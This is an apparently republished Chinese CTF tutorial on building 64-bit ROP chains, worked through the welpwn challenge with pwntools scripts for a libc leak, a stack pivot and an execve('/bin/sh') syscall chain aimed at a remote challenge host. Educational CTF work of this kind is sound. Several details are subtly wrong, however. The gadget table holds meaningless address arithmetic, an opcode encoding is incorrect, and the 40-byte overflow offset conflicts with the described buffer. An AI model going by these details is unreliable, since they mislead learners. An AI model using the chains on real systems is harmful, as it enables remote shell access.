资讯动态

64位ROP链构造原理与welpwn实战详解

发布时间:2026/10/23 15:48:40 来源:尧图企业网站定制
1. 这不是“找指令”而是重建执行流的精密手术你打开一道pwn题调试器里堆栈被覆盖返回地址被劫持程序即将跳向一片不可控的内存——这时候64位ROP链构造不是在“拼凑几个gadget”而是在敌方内存布局的废墟上用零散的、看似无序的指令片段重新焊接出一条可控的、可预测的、能完成特定任务的执行路径。它本质上是一场与ASLR、NX、Stack Canary等防护机制的对抗性工程核心目标只有一个绕过数据不可执行限制让CPU把本该当数据读的字节当成指令来执行。我第一次在攻防世界pwn进阶区遇到welpwn这道题时卡在rop链构造上整整三天。不是找不到pop rdi; ret而是发现即使找到了后续的调用链立刻断裂——因为64位下参数传递规则变了rdi,rsi,rdx,r10,r8,r9这六个寄存器承载了前六个参数栈上传参只用于第七个及以后。更麻烦的是libc基址随机化后所有libc函数地址都成了未知数你不能直接call system只能靠write或read先泄露出真实地址再二次构造。而所谓“万能gadgets”根本不是什么魔法咒语它们是开发者在编译libc或程序本身时无意间留下的、恰好能被我们利用的“指令残片”。比如pop rdi; ret之所以“万能”是因为它能精准地把栈顶的一个值弹进rdi而rdi恰恰是system、execve、read、write等绝大多数关键函数的第一个参数寄存器。它不“万能”于功能而“万能”于通用性——就像一把能拧开六种不同螺丝的万用扳手它的价值在于适配面广而非力大无穷。这篇文章面向的不是刚学完printf(hello)就想着打CTF的新手而是已经能写出基础栈溢出、能用pwntools连上远程服务、却总在ROP链一环断裂时抓耳挠腮的进阶者。你会在这里看到的不是gadget列表的简单罗列而是每一个常见gadget背后的设计逻辑、适用边界、以及在真实题目如welpwn中如何组合、验证、调试的完整心路历程。它不教你“怎么赢”而是带你理解“为什么这样走才不会掉进坑里”。2. ROP链设计的核心逻辑与方案选型依据2.1 为什么必须是64位32位的旧思路在这里全失效很多从32位pwn入门的朋友在转向64位时会本能地沿用老套路找pop eax; pop ebx; pop ecx; pop edx; int 0x80然后把/bin/sh地址、0、0、0依次压栈最后int 0x80触发系统调用。这套在32位下屡试不爽的方案在64位下从根子上就错了。提示64位Linux系统调用号、参数寄存器、调用门都已彻底重构。int 0x80在64位下虽然仍能工作但它走的是兼容层参数传递方式与原生64位系统调用syscall完全不同且效率低下更重要的是它无法正确处理64位指针比如/bin/sh字符串地址极易导致系统调用失败或崩溃。真正的64位系统调用使用syscall指令其参数传递规则如下rax系统调用号例如execve是59read是0write是1rdi第1个参数例如execve的filename指针rsi第2个参数例如execve的argv指针rdx第3个参数例如execve的envp指针r10第4个参数注意不是rcx这是syscall与int 0x80的关键区别之一r8第5个参数r9第6个参数这意味着一个完整的execve(/bin/sh, 0, 0)调用你需要至少设置rax59、rdiaddr_of_binsh、rsi0、rdx0。而rsi和rdx这两个寄存器在常见的libc中极少有单条gadget能直接pop进去。你不可能指望找到一个pop rsi; pop rdx; ret因为这种组合在正常代码逻辑中毫无意义编译器根本不会生成。所以64位ROP链的设计逻辑从一开始就必须放弃“一次性设置所有寄存器”的幻想转而采用分阶段、寄存器接力的策略。第一阶段用最简单的pop rdi; ret把/bin/sh地址送入rdi第二阶段需要另一个gadget能把0这个值送入rsi。但0从哪来你不能指望栈上恰好有个0。于是我们引入了“万能gadget”家族里的第二位成员pop rsi; ret。可如果libc里没有pop rsi; ret呢那就得退而求其次找pop r15; ret再配合一条mov rsi, r15; ret形成两步走。这正是welpwn这类题目的精妙之处它逼你去挖掘、去组合、去验证而不是背诵一个固定答案。2.2 “万能gadget”的真相不是越多越好而是够用、稳定、易找网络上流传着各种“万能gadget清单”动辄几十上百条。但我在实际调试welpwn时发现真正高频、稳定、几乎必用的其实就那么五六条。它们之所以“万能”核心在于两点出现频率高和功能单一明确。出现频率高这些gadget通常由编译器在生成函数序言prologue和尾声epilogue时自动产生。例如一个函数以push rbp; mov rbp, rsp开头以pop rbp; ret结尾这是最标准的函数框架。而pop rbp; ret本身就是一个gadget虽然它对我们的ROP链没直接用rbp一般不是系统调用参数但它证明了ret指令的存在。更重要的是当函数内部有局部变量需要保存到寄存器时编译器会插入pop指令来恢复它们。pop rdi; ret就是pop某个寄存器ret的最简组合它在libc的成千上万个函数中反复出现概率极高。功能单一明确一个gadget的功能越复杂它的适用场景就越窄。pop rdi; ret只做一件事把栈顶一个QWORD8字节弹给rdi然后返回。它不修改其他任何寄存器不破坏栈平衡除了消耗一个栈元素行为完全可预测。相比之下add rax, rdx; ret虽然也是一条gadget但它依赖rax和rdx的当前值而这两个值在ROP链执行过程中是高度不确定的因此极难控制基本属于“理论存在实战弃用”。因此我的gadget筛选原则非常务实优先找pop reg; ret其次找mov reg, reg/some_mem; ret最后才考虑add/sub/xor等算术指令。前者是基石后者是补丁。在welpwn的libc-2.23.so中我通过ropper --file libc-2.23.so --search pop rdi; ret命令瞬间找到了超过20个匹配项。我随便选了第一个地址为0x0000000000021102因为它离libc基址近偏移小计算方便。这就是经验不必追求“最优”而要追求“最快能跑通”。2.3 welpwn的特殊性它为何是ROP链的绝佳练兵场welpwn这道题名字就暗示了它的定位——“Welcome to pwn”。它没有花哨的堆利用技巧没有复杂的沙箱逃逸核心挑战就聚焦在ROP链的构造与利用上。它的二进制文件welpwn本身很小保护机制也很典型开启了NX栈不可执行、ASLR地址随机化但没有开启Stack Canary栈保护。这意味着你可以通过一次简单的栈溢出就完全控制rip但之后的每一步都必须在libc的随机化地址空间里“盲人摸象”。它的关键漏洞点在于一个read系统调用可以让你向.bss段一个可读写、地址固定的区域写入任意长度的数据。这就为我们提供了两个至关重要的能力写入/bin/sh字符串.bss段地址固定我们可以把/bin/sh\x00这个字符串写进去获得一个稳定的、我们知道确切地址的字符串指针。构建“伪栈”.bss段本质是一块大内存我们可以把它当作一块“备用栈”来用。在ROP链执行过程中我们可以用pop类gadget把.bss段的地址弹进某个寄存器再用mov类gadget把数据从.bss段复制到目标位置实现更复杂的内存操作。这正是welpwn的精妙设计它把“找gadget”的难题转化为了“如何利用固定地址的.bss段来辅助ROP链执行”的工程问题。它不考你多深的逆向功底而是考你对64位调用约定、内存布局、gadget组合的深刻理解和灵活运用。这也是为什么掌握welpwn的解法就等于掌握了64位ROP链构造的半壁江山。3. 核心gadget详解与实操步骤拆解3.1 最核心的基石pop rdi; ret及其变体pop rdi; ret是64位ROP链的绝对起点没有它整个链条就无从谈起。它的作用就是把栈顶的一个8字节值安全、干净地送入rdi寄存器。在welpwn的环境里我们首先需要泄露libc基址。标准做法是利用write函数将writegot.plt处存储的write函数真实地址打印出来。write函数的原型是ssize_t write(int fd, const void *buf, size_t count)我们需要设置rdi1stdout、rsiwrite_got我们要读取的地址、rdx8读取8字节。其中rdi1是最容易设置的因为数字1在内存中无处不在我们甚至可以在栈上直接布置一个1然后用pop rdi; ret把它弹进去。# pwntools脚本片段 # 假设我们已经通过调试确定了栈溢出的偏移量为40 offset 40 # 构造第一阶段ROP链泄露writegot.plt rop_chain bA * offset rop_chain p64(pop_rdi_ret) # 将栈顶的1弹入rdi rop_chain p64(1) # 第一个参数fd1 (stdout) rop_chain p64(pop_rsi_ret) # 将栈顶的write_got弹入rsi rop_chain p64(write_got) # 第二个参数bufwrite_got rop_chain p64(pop_rdx_ret) # 将栈顶的8弹入rdx rop_chain p64(8) # 第三个参数count8 rop_chain p64(write_plt) # 调用write函数这里的关键在于pop_rsi_ret和pop_rdx_ret。如果libc中没有现成的pop rsi; ret我们就得另辟蹊径。一个经典技巧是使用pop r13; pop r14; pop r15; ret然后把write_got放在r13的位置再找一条mov rsi, r13; ret。但这样链就变长了出错概率增加。所以在开始构造前务必先用ropper或ROPgadget对目标libc进行一次全面扫描建立一个“可用gadget速查表”。这不是偷懒而是提高成功率的必要准备。注意pop rdi; ret的地址是相对于libc基址的偏移。在本地调试时libc基址是固定的你可以直接硬编码。但在远程环境中你必须先通过write泄露一个libc函数地址如write自己再根据libc版本计算出基址最后加上偏移得到真实的pop rdi; ret地址。这个过程叫“libc基址计算”是所有ASLR bypass的基石。3.2 寄存器搬运工mov rsi, r15; ret与mov rdx, r15; ret当pop rsi; ret不存在时mov rsi, r15; ret就是你的救命稻草。它的逻辑是先用一个pop r15; ret把目标值比如write_got弹进r15再用这条mov指令把r15的值拷贝到rsi。这是一种典型的“寄存器中转”策略。在welpwn的libc-2.23.so中mov rsi, r15; ret的地址是0x0000000000020743。它的汇编代码就是简单的一行48 89 f6 mov rsi, r15 c3 ret没有任何副作用完美符合我们的要求。实操中这段链会变成rop_chain bA * offset rop_chain p64(pop_r15_ret) # 弹出write_got到r15 rop_chain p64(write_got) rop_chain p64(mov_rsi_r15_ret) # 把r15的值即write_got赋给rsi # 后续同上设置rdi1, rdx8, 调用write这个技巧的威力在于它的普适性。r15是一个“非易失性寄存器”在函数调用中通常被保存和恢复因此在libc的很多地方都能找到pop r15; ret。一旦你掌握了pop reg; retmov target_reg, source_reg; ret的组合模式你就拥有了构造任意寄存器赋值的能力。rdx、r10、r8、r9都可以用同样的方法搞定。这比死磕一个不存在的pop rdx; ret要高效得多。3.3 终极武器ret;与leave; ret——栈迁移的钥匙如果说前面的gadget都是在“修路”那么ret;和leave; ret就是“造桥”。它们的作用是让我们能够跳出当前被污染、不可控的栈迁移到一块我们完全掌控的内存区域比如.bss段上去执行后续的ROP链。ret;指令本身极其简单它从当前rsp指向的地址弹出一个值作为新的rip。如果我们能精确控制rsp让它指向.bss段上我们预先布置好的一个地址那么ret就会跳转到那里从而开始执行我们放在.bss上的新ROP链。leave; ret则更进一步。leave指令等价于mov rsp, rbp; pop rbp它会把rbp的值赋给rsp然后把栈顶的值弹给rbp。因此如果我们能先控制rbp指向.bss段再执行leave; ret就能一次性将rsp重定向到.bss并清理掉旧的栈帧。这是栈迁移Stack Pivot的标准范式。在welpwn中.bss段的地址是固定的例如0x601000。我们可以在第一次溢出时先向.bss段写入一个完整的、用于execve(/bin/sh, 0, 0)的ROP链然后再用leave; ret将执行流切换过去。这样做的好处是后续的ROP链完全独立于原始栈不再受溢出长度、栈平衡等限制可以无限长、无限复杂。# 第一步向.bss写入/bin/sh字符串和ROP链 bss_addr 0x601000 payload1 bA * offset payload1 p64(pop_rdi_ret) p64(0) # rdi 0 (stdin) payload1 p64(pop_rsi_ret) p64(bss_addr) # rsi .bss payload1 p64(pop_rdx_ret) p64(0x100) # rdx 0x100 (足够大) payload1 p64(read_plt) # 调用read把数据读入.bss # 第二步触发栈迁移 payload2 bA * offset payload2 p64(pop_rbp_ret) p64(bss_addr - 8) # 设置rbp .bss - 8 payload2 p64(leave_ret) # 执行leave; retrsp rbp .bss - 8 # 此时rsp指向.bss-8而.bss-8处我们将放置一个ret指令 # 它会继续执行.bss上我们布置的ROP链这个过程需要极其精细的地址计算。bss_addr - 8是因为leave会先执行mov rsp, rbp然后执行pop rbp而pop rbp会从rsp当前地址读取一个值所以rbp必须指向.bss段中我们希望rsp最终落点的前8个字节。这是无数人踩过的坑也是栈迁移技术最反直觉的地方。4. welpwn完整实操流程与关键环节实现4.1 环境准备与信息收集从二进制到libc拿到welpwn第一步永远不是写exp而是“看”。用file welpwn确认它是64位ELF用checksec welpwn确认它开启了NX和ASLR但没有Canary用readelf -d welpwn | grep NEEDED确认它依赖libc.so.6最后用ldd welpwn找出它链接的libc版本通常是libc-2.23.so。有了libc文件我们就可以开始静态分析。用objdump -d welpwn | grep main: -A 20查看主函数快速定位到read调用点。你会发现它大概长这样lea rax, [rbp-0x100] ; 将栈上一个缓冲区地址加载到rax mov edx, 0x100 ; 读取0x100字节 mov rsi, rax ; 缓冲区地址作为第二个参数 mov edi, 0 ; 第一个参数fd0 (stdin) call readplt这说明我们有0x100字节的溢出空间目标缓冲区在rbp-0x100这是一个典型的栈溢出点。接下来用ROPgadget --binary libc-2.23.so --ropchain生成一个基础ROP链或者更推荐的用ropper --file libc-2.23.so --search pop rdi; ret手动搜索。记录下pop rdi; ret、pop rsi; ret、pop rdx; ret、pop r15; ret、mov rsi, r15; ret等关键gadget的地址。同时用readelf -d libc-2.23.so | grep write找到write在libc中的偏移例如0x110070用readelf -d welpwn | grep write找到writegot.plt在二进制中的地址例如0x601018。所有这些信息都要整理成一张表格这是你后续所有操作的“作战地图”。符号地址libc偏移地址welpwn中用途write0x1100700x601018泄露libc基址pop rdi; ret0x211020x601018 0x21102 - 0x110070设置rdipop rsi; ret0x202e80x601018 0x202e8 - 0x110070设置rsipop rdx; ret0x1150a50x601018 0x1150a5 - 0x110070设置rdx实测心得不要迷信网上找的“万能gadget地址”。每个libc版本、每个编译选项都会导致gadget地址变化。我曾经因为直接复制了一个过时的pop rdi; ret地址导致exp在本地跑通远程却一直Segmentation fault排查了整整一天才发现是地址偏移算错了。正确的做法是在你的环境中用ropper重新扫描一遍把结果直接复制进脚本。4.2 第一阶段泄露libc基址这是整个攻击的“眼睛”。没有它你后面所有的地址计算都是空中楼阁。我们的目标是调用write(1, write_got, 8)把writegot.plt处存储的真实write地址打印出来。由于write_got在welpwn二进制中是固定地址0x601018而write_plt也是固定地址0x400500左右所以这一阶段的ROP链是完全静态的不需要知道libc基址。构造过程如下填充40字节的A覆盖到rbp。接着布置pop rdi; ret的地址让rip跳过去。栈顶放1作为rdi的值。布置pop rsi; ret的地址。栈顶放write_got0x601018作为rsi的值。布置pop rdx; ret的地址。栈顶放8作为rdx的值。最后布置write_plt的地址作为最终的调用目标。发送这个payload后程序会输出8个字节。我们用pwntools的u64()函数将其解析为一个QWORD这就是write函数在远程服务器上的真实地址。用这个地址减去我们在本地libc中查到的write偏移0x110070就得到了libc基址。# 完整的泄露阶段脚本 from pwn import * context.arch amd64 io remote(111.198.29.45, 30675) # 攻防世界welpwn地址 # io process(./welpwn) # 静态地址welpwn二进制中固定 write_got 0x601018 write_plt 0x400500 pop_rdi_ret 0x4006b3 # 这个在welpwn自身中就有无需libc pop_rsi_ret 0x4006b1 pop_rdx_ret 0x4006b4 # 构造泄露payload payload bA * 40 payload p64(pop_rdi_ret) p64(1) payload p64(pop_rsi_ret) p64(write_got) payload p64(pop_rdx_ret) p64(8) payload p64(write_plt) io.sendline(payload) io.recvuntil(bWelcome my friend!\n) leak io.recv(8) write_addr u64(leak.ljust(8, b\x00)) log.info(fLeaked write address: {hex(write_addr)}) # 计算libc基址 libc_base write_addr - 0x110070 log.info(fLibc base: {hex(libc_base)})这段代码的关键在于我使用了welpwn二进制自身提供的popgadget0x4006b3等而不是去libc里找。这是因为二进制文件本身没有ASLR它的代码段地址是固定的用起来更稳定、更快速。这是一个重要的实战技巧优先使用目标二进制自身的gadget其次才是libc的。4.3 第二阶段构造execve(/bin/sh, 0, 0)并获取shell有了libc基址一切豁然开朗。我们可以计算出system、/bin/sh字符串、以及所有popgadget在远程的真实地址。system在libc-2.23.so中的偏移是0x45390/bin/sh字符串的偏移是0x18cd57。所以system_addr libc_base 0x45390binsh_addr libc_base 0x18cd57现在构造execve(/bin/sh, 0, 0)的ROP链。由于execve的参数是filename,argv,envp而argv和envp都需要是char **类型的指针最简单的方式是让它们都等于0。所以我们需要rdi binsh_addrrsi 0rdx 0rax 59execve的系统调用号rax59怎么设置pop rax; ret在libc中极其罕见。但我们有syscall。syscall的调用号在rax中所以我们需要pop rax; ret。如果找不到还有一个终极办法xor rax, rax; inc rax; inc rax; ...但这太长了。幸运的是在libc-2.23.so中pop rax; ret的地址是0x3ac5c。所以最终的ROP链是pop rdi; ret-binsh_addrpop rsi; ret-0pop rdx; ret-0pop rax; ret-59syscall# 计算远程地址 system_addr libc_base 0x45390 binsh_addr libc_base 0x18cd57 pop_rax_ret libc_base 0x3ac5c syscall_ret libc_base 0xd2975 # syscall; ret # 构造getshell payload payload2 bA * 40 payload2 p64(pop_rdi_ret) p64(binsh_addr) payload2 p64(pop_rsi_ret) p64(0) payload2 p64(pop_rdx_ret) p64(0) payload2 p64(pop_rax_ret) p64(59) payload2 p64(syscall_ret) io.sendline(payload2) io.interactive()这就是welpwn的标准解法。它简洁、直接、高效。整个过程从泄露到getshell只用了两次交互ROP链长度控制在10条指令以内稳定性极高。5. 常见问题与排查技巧实录5.1 问题速查表从“Segmentation fault”到“no response”现象可能原因排查与解决技巧本地成功远程失败报Segmentation fault地址计算错误尤其是libc基址偏移算错。1. 在远程recv后用gdb.attach(io)挂上gdb单步执行看rip是否跳到了你期望的地址。2. 检查u64()解析是否正确确保接收到的8字节是完整的、未被截断的。用io.recv(8, timeout5)加超时并检查返回长度。write泄露出来的地址看起来像乱码如0x7f0000000000read读取时count参数过大读到了/x00字节导致u64()解析失败。write输出的是8字节的地址但io.recv(8)可能会在遇到\x00时提前结束。改用io.recv(8, timeout1)并用ljust(8, b\x00)补齐。system(/bin/sh)执行后shell一闪而过无法交互system启动的/bin/sh进程其stdin/stdout/stderr没有正确连接到你的socket。不要用system改用execve。system是libc封装的它会fork一个子进程而子进程的IO可能没有继承。execve是直接替换当前进程IO句柄100%继承。pop rsi; ret找不到用mov rsi, r15; ret组合后rsi的值还是不对pop r15; ret之后r15的值被后续的mov指令正确读取但mov指令本身可能破坏了rsp或其他寄存器。在mov rsi, r15; ret之后立即跟一个ret用gdb观察rsi和rsp的值。确保mov指令没有副作用。leave; ret执行后程序直接退出没有执行.bss上的ROP链.bss地址设置错误或者.bss上布置的ROP链格式有误缺少ret指令。leave; ret执行后rsp应该指向.bss上你布置的第一个gadget地址。用gdb在leave后停住x/gx $rsp看它指向的内容是否是你期望的pop rdi; ret地址。5.2 我踩过的三个深坑与独家避坑技巧坑一“以为ret就是跳转忘了它还要pop”ret指令的本质是pop rip。这意味着它会从rsp当前指向的地址读取8个字节作为新的rip。很多人在写栈迁移时只关注rsp要指向哪里却忘了rsp指向的那个地址必须存放一个有效的、你想要执行的指令地址。如果你在.bss上只写了/bin/sh字符串然后让rsp指向它ret就会尝试把/bin/sh的前8个字节/bin/sh\x00当成地址去跳转这必然导致SIGSEGV。独家技巧在.bss上布置ROP链时永远在链的开头放一个ret指令的地址。这个ret什么都不做只是消耗掉一个栈元素然后让rsp自动8指向你真正的第一个gadget。这样无论你如何调整rsp都能保证它安全落地。坑二“pop rdi; ret找到了但pop rsi; ret死活找不到最后发现它就在pop rdi; ret下面一行”ropper的搜索有时会漏掉一些“非标准”形式的gadget。例如pop rdi; pop rsi; ret它确实包含了pop rsi; ret但ropper --search pop rsi; ret不会匹配它因为它前面多了一个pop rdi。然而这个gadget完全可以被我们利用我们只需要在栈上多布置一个无关的值比如0pop rdi会把它弹掉pop rsi会把我们想要的值弹进去ret照常执行。独家技巧当ropper找不到某个gadget时不要立刻放弃。用objdump -d libc-2.23.so | grep pop.*ret手动翻一翻或者用ROPgadget --binary libc-2.23.so --depth 5加大搜索深度。很多时候你要的gadget就藏在一个更长的、多pop的指令序列里。坑三“execve调用成功但/bin/sh没有回显以为失败了”这是最让人抓狂的情况。execve调用后程序确实被替换成/bin/sh了但/bin/sh默认是non-interactive的

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑